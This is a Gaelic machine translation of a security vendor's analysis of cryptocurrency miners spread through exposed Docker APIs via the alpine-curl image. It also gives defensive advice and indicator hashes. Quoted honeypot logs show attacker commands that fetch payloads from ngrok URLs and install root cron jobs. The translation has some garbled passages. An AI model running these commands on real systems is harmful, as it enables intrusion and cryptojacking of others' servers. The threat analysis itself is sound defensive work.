
Rinn sinn mion-sgrĂšdadh air an dĂ ta a chaidh a chruinneachadh le bhith aâ cleachdadh soithichean meala, a chruthaich sinn gus sĂšil a chumail air bagairtean. Agus lorg sinn gnĂŹomhachd cudromach bho mhèinnearan cryptocurrency gun iarraidh no gun chead air an cleachdadh mar shoithichean meallta aâ cleachdadh ĂŹomhaigh foillsichte leis aâ choimhearsnachd air Docker Hub. Tha an ĂŹomhaigh air a chleachdadh mar phĂ irt de sheirbheis a 'lĂŹbhrigeadh mèinnearan cryptocurrency droch-rĂšnach.
A bharrachd air an sin, tha prògraman airson a bhith ag obair le lÏonraidhean air an cur a-steach gus a dhol a-steach do shoithichean is thagraidhean faisg air là imh.
Bidh sinn aâ fĂ gail na poitean meala againn mar a tha, is e sin, le roghainnean bunaiteach, Ă s aonais ceumannan tèarainteachd no stĂ ladh bathar-bog a bharrachd Ă s deidh sin. Thoir an aire gu bheil molaidhean aig Docker airson stèidheachadh tĂšsail gus mearachdan agus so-leòntachd sĂŹmplidh a sheachnadh. Ach is e soithichean a thâ anns na poitean meala a thathas aâ cleachdadh gus ionnsaighean a lorg a tha ag amas air an Ă rd-Ăšrlar containerization, chan e na tagraidhean taobh a-staigh na soithichean.
Tha an gnĂŹomhachd droch-rĂšnach a chaidh a lorg cuideachd sònraichte leis nach eil feum air so-leòntachd agus tha e cuideachd neo-eisimeileach bhon dreach Docker. Is e a bhith aâ lorg ĂŹomhaigh container a tha air a rèiteachadh gu ceĂ rr, agus mar sin fosgailte, a h-uile rud a dhâ fheumas luchd-ionnsaigh gus mòran de luchd-frithealaidh fosgailte a ghlacadh.
Leigidh an API Docker nach deach a dhĂšnadh leis an neach-cleachdaidh raon farsaing de , aâ toirt a-steach a bhith aâ faighinn liosta de shoithichean ruith, aâ faighinn logaichean bho shoitheach sònraichte, aâ tòiseachadh, aâ stad (aâ gabhail a-steach èignichte) agus eadhon aâ cruthachadh soitheach Ăšr bho ĂŹomhaigh shònraichte le suidheachaidhean sònraichte.

Air an taobh chlÏ tha an dòigh lÏbhrigidh malware. Air an là imh dheis tha à rainneachd an neach-ionnsaigh, a leigeas le Ïomhaighean a chuir a-mach aig astar.

Sgaoileadh a rèir dÚthaich de 3762 fosgailte Docker APIs. Stèidhichte air sgrÚdadh Shodan leis an deit 12.02.2019/XNUMX/XNUMX
Slabhraidh ionnsaigh agus roghainnean pĂ ighidh pĂ ighidh
Chaidh gnĂŹomhachd droch-rĂšnach a lorg chan ann a-mhĂ in le cuideachadh bho phoitean meala. Tha dĂ ta bho Shodan aâ sealltainn gu bheil an Ă ireamh de APIan Docker fosgailte (faic an dĂ rna graf) air a dhol suas bho rinn sinn sgrĂšdadh air inneal mĂŹ-chruthaichte a chaidh a chleachdadh mar dhrochaid gus bathar-bog mèinnearachd cryptocurrency Monero a chleachdadh. Anns an DĂ mhair an-uiridh (2018, dĂ ta lĂ ithreach mu thuairmeas. eadar-theangair) cha robh ann ach 856 API fosgailte.
Sheall sgrĂšdadh air na logaichean meala gu robh cleachdadh ĂŹomhaighean soithich cuideachd co-cheangailte ri cleachdadh , inneal airson ceanglaichean tèarainte a stèidheachadh no trafaic a chuir air adhart bho phuingean a tha ruigsinneach don phoball gu seòlaidhean no goireasan sònraichte (mar eisimpleir localhost). Leigidh seo le luchd-ionnsaigh URLan a chruthachadh gu dinamach nuair a bhios iad aâ lĂŹbhrigeadh uallach pĂ ighidh gu frithealaiche fosgailte. Gu h-ĂŹosal tha eisimpleirean còd bho na logaichean aâ sealltainn droch dhĂŹol air seirbheis ngrok:
Tty: false
Command: â-c curl âretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ,
Tty: false,
Cmd: â-c curl âretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c âcron || crondââ,
Entrypoint: â/bin/shâMar a chĂŹ thu, tha na faidhlichean a chaidh a luchdachadh sĂŹos air an luchdachadh sĂŹos bho URLan a tha ag atharrachadh gu cunbhalach. Tha ceann-latha crĂŹochnachaidh goirid aig na URLan sin, agus mar sin chan urrainnear luchdan pĂ ighidh a luchdachadh sĂŹos Ă s deidh aâ cheann-latha crĂŹochnachaidh.
Tha dĂ roghainn luchd-pĂ ighidh ann. Is e aâ chiad fhear mèinneadair co-chruinnichte ann an cruth ELF airson Linux (air a chomharrachadh mar Coinminer.SH.MALXMR.ATNO), a tha aâ ceangal ris an amar mèinnearachd. Is e an dĂ rna fear sgriobt (TrojanSpy.SH.ZNETMAP.A), a chaidh a dhealbhadh gus innealan lĂŹonra sònraichte fhaighinn a thathas aâ cleachdadh gus raointean lĂŹonra a sganadh agus an uairsin targaidean Ăšra a lorg.
Tha an sgriobt dropper a 'suidheachadh dà caochladairean, a tha an uair sin a chleachdadh airson a' cleachdadh a 'mhèinnear cryptocurrency. Anns an caochladair HOST tha an URL far a bheil na faidhlichean droch-rÚnach suidhichte, agus is e an caochladair RIP an t-ainm faidhle (gu dearbh, an hash) den mhèinnear a thèid a chleachdadh. Bidh an caochladair HOST ag atharrachadh a h-uile uair a bhios an caochladair hash ag atharrachadh. Tha an sgriobt cuideachd a 'feuchainn ri dèanamh cinnteach nach eil mèinnearan cryptocurrency sam bith eile a' ruith air an fhrithealaiche ionnsaigh.

Eisimpleirean de chaochladairean HOST agus RIP, a bharrachd air criomag còd a chaidh a chleachdadh gus dèanamh cinnteach nach eil mèinnearan eile a 'ruith
Mus tèid am mèinneadair a chur air bhog, thèid ath-ainmeachadh gu nginx. Bidh dreachan eile den sgriobt seo ag ath-ainmeachadh aâ mhèinneadair gu seirbheisean dligheach eile a dhâ fhaodadh a bhith an lĂ thair san Ă rainneachd. LinuxMar as trice bidh seo gu leòr airson sgrĂšdaidhean a sheachnadh air an liosta de phròiseasan a tha aâ ruith.
Tha feartan aig an sgriobt sgrĂšdaidh cuideachd. Bidh e ag obair leis an aon sheirbheis URL gus na h-innealan riatanach a chleachdadh. Nam measg tha an binary zmap, a thathas aâ cleachdadh gus lĂŹonraidhean a sganadh agus liosta de phuirt fhosgailte fhaighinn. Bidh an sgriobt cuideachd aâ luchdachadh dĂ na eile a thathas aâ cleachdadh gus eadar-obrachadh leis na seirbheisean a chaidh a lorg agus brataichean fhaighinn bhuapa gus fiosrachadh a bharrachd a dhearbhadh mun t-seirbheis a chaidh a lorg (mar eisimpleir, an dreach aige).
Bidh an sgriobt cuideachd aâ dearbhadh cuid de raointean lĂŹonra ri sganadh, ach tha seo an urra ri dreach an sgriobt. Bidh e cuideachd aâ suidheachadh na puirt targaid bho na seirbheisean - sa chĂšis seo, Docker - mus ruith an scan.
Cho luath âs a lorgar targaidean a dhâfhaodadh a bhith ann, thèid brataichean a thoirt air falbh bhuapa gu fèin-ghluasadach. Bidh an sgriobt cuideachd aâ sĂŹoladh thargaidean stèidhichte air na seirbheisean, na h-aplacaidean, na co-phĂ irtean no na h-Ă rd-Ăšrlaran anns a bheil Ăšidh aige: Redis, Jenkins, Drupal, MODX, , neach-dèiligidh Docker 1.16 agus Apache CouchDB. Ma tha an frithealaiche a chaidh a sganadh aâ maidseadh gin dhiubh, thèid a shĂ bhaladh ann am faidhle teacsa, a dhâ fhaodas luchd-ionnsaigh a chleachdadh nas fhaide air adhart airson mion-sgrĂšdadh agus sgrĂšdadh Ă s deidh sin. Thèid na faidhlichean teacsa seo a luchdachadh suas gu frithealaichean an luchd-ionnsaigh tro cheanglaichean fiĂšghantach. Is e sin, thèid URL fa leth a chleachdadh airson gach faidhle, a tha a 'ciallachadh gu bheil e doirbh faighinn a-steach Ă s dèidh sin.
Is e ĂŹomhaigh Docker a thâ anns an vectar ionnsaigh, mar a chithear san ath dhĂ phĂŹos còd.

Aig a 'mhullach tha ath-ainmeachadh gu seirbheis dhligheach, agus aig a' bhonn tha mar a thathar a 'cleachdadh zmap airson lĂŹonraidhean a sganadh

Aig aâ mhullach tha raointean lĂŹonra ro-mhĂŹnichte, aig aâ bhonn tha puirt sònraichte airson seirbheisean a lorg, aâ gabhail a-steach Docker

Tha an dealbh-sgrĂŹn aâ sealltainn gun deach an ĂŹomhaigh alpach-curl a luchdachadh sĂŹos còrr air 10 millean uair
Stèidhichte air Alpach Linux agus faodar curl, inneal CLI a tha èifeachdach a thaobh ghoireasan airson faidhlichean a ghluasad thairis air diofar phròtacalan, a chur ri chèile . Mar a chĂŹ thu san ĂŹomhaigh roimhe, chaidh an ĂŹomhaigh seo a luchdachadh sĂŹos mu thrĂ th còrr air 10 millean uair. Faodaidh Ă ireamh mhòr de luchdachadh a-nuas a bhith aâ ciallachadh a bhith aâ cleachdadh an ĂŹomhaigh seo mar Ă ite inntrigidh; chaidh an ĂŹomhaigh seo Ăšrachadh o chionn còrr is sia mĂŹosan; cha do luchdaich luchd-cleachdaidh sĂŹos ĂŹomhaighean eile bhon stòr seo cho tric. Anns an Docker - seata de stiĂširidhean air an cleachdadh gus soitheach a rèiteachadh airson a ruith. Ma tha roghainnean an Ă ite inntrigidh ceĂ rr (mar eisimpleir, tha an soitheach air fhĂ gail fosgailte bhon eadar-lĂŹn), faodar an ĂŹomhaigh a chleachdadh mar vectar ionnsaigh. Faodaidh luchd-ionnsaigh a chleachdadh gus uallach pĂ ighidh a lĂŹbhrigeadh ma lorgas iad inneal mĂŹ-dhealbhaichte no fosgailte air fhĂ gail gun taic.
Tha e cudromach cuimhneachadh nach eil an ĂŹomhaigh seo (alpach-curl) fhèin droch-rĂšnach, ach mar a chĂŹ thu gu h-Ă rd, faodar a chleachdadh gus gnĂŹomhan droch-rĂšnach a choileanadh. Faodar ĂŹomhaighean Docker coltach ris a chleachdadh cuideachd airson gnĂŹomhan droch-rĂšnach a dhèanamh. Chuir sinn fios gu Docker agus dhâ obraich sinn leotha air aâ chĂšis seo.
molaidhean
fhĂ gail airson mòran chompanaidhean, gu sònraichte an fheadhainn a tha aâ cur an gnĂŹomh , le fòcas air leasachadh luath agus lĂŹbhrigeadh. Tha a h-uile cĂ il air a dhèanamh nas miosa leis an fheum air cumail ri riaghailtean sgrĂšdaidh is sgrĂšdaidh, an fheum air sĂšil a chumail air dĂŹomhaireachd dĂ ta, a bharrachd air aâ mhilleadh mòr bho neo-ghèilleadh. Le bhith aâ toirt a-steach fèin-ghluasad tèarainteachd a-steach don chuairt-beatha leasachaidh chan e a-mhĂ in gad chuideachadh gus tuill tèarainteachd a lorg a dhâ fhaodadh a dhol neo-aithnichte air dhòigh eile, ach cuidichidh e thu cuideachd gus eallach obrach neo-riatanach a lughdachadh, leithid ruith bathar-bog a bharrachd airson gach so-leòntachd no mĂŹ-dhealbhadh a lorgar Ă s deidh tagradh a chuir a-steach.
Tha an tachartas air a bheilear aâ beachdachadh san artaigil seo aâ soilleireachadh an fheum air sĂ bhailteachd a ghabhail a-steach bhon toiseach, aâ toirt a-steach na molaidhean a leanas:
- Airson rianadairean siostam agus luchd-leasachaidh: Thoir sÚil an-còmhnaidh air na roghainnean API agad gus dèanamh cinnteach gu bheil a h-uile cà il air a rèiteachadh gus gabhail ri iarrtasan bho fhrithealaiche sònraichte no lÏonra a-staigh a-mhà in.
- Lean am prionnsapal de chòraichean as lugha: dèan cinnteach gu bheil Ïomhaighean soidhnidh air an soidhnigeadh agus air an dearbhadh, cuingealaich ruigsinneachd gu pà irtean èiginneach (seirbheis cur air bhog container) agus cuir crioptachadh ri ceanglaichean lÏonra.
- Lean agus aâ comasachadh uidheamachdan tèarainteachd, m.e. agus air a thogail a-steach .
- Cleachd sganadh fèin-ghluasadach de amannan ruith agus ĂŹomhaighean gus fiosrachadh a bharrachd fhaighinn mu na pròiseasan a tha aâ ruith anns aâ ghobhar (mar eisimpleir, gus spoofing a lorg no so-leòntachd a lorg). Bidh smachd tagraidh agus sgrĂšdadh ionracas aâ cuideachadh le bhith aâ lorg atharrachaidhean neo-Ă bhaisteach air frithealaichean, faidhlichean, agus raointean siostam.
Bidh Trendmicro aâ cuideachadh sgiobaidhean DevOps a bhith aâ togail gu tèarainte, gan sgaoileadh gu sgiobalta, agus aâ cur air bhog an Ă ite sam bith. Trend Micro Aâ toirt seachad tèarainteachd chumhachdach, sgiobalta agus fèin-ghluasadach thairis air loidhne-phĂŹoban DevOps na buidhne agus aâ toirt seachad iomadh dĂŹon bho chunnart gus eallach obrach corporra, brĂŹgheil agus sgòthan a dhĂŹon aig Ă m ruith. Bidh e cuideachd aâ cur tèarainteachd container le и , a bhios aâ sganadh ĂŹomhaighean container Docker airson malware agus so-leòntachd aig Ă m sam bith san loidhne-phĂŹoban leasachaidh gus casg a chuir air bagairtean mus tèid an cleachdadh.
Comharraidhean co-rèiteachaidh
hashes co-cheangailte:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
air a ' Bidh luchd-labhairt gnĂŹomhach aâ sealltainn dè na suidheachaidhean a dhâ fheumar a dhèanamh an-toiseach gus an coltas a lughdachadh no gus an suidheachadh a tha air a mhĂŹneachadh gu h-Ă rd a sheachnadh. Agus air 19-21 LĂšnastal aig dian air-loidhne Faodaidh tu na duilgheadasan tèarainteachd sin agus an leithid a dheasbad le co-obraichean agus tidsearan gnĂŹomhach aig bòrd cruinn, far am faod a h-uile duine bruidhinn a-mach agus èisteachd ri pianta agus soirbheachas co-obraichean eòlach.
Source: www.habr.com
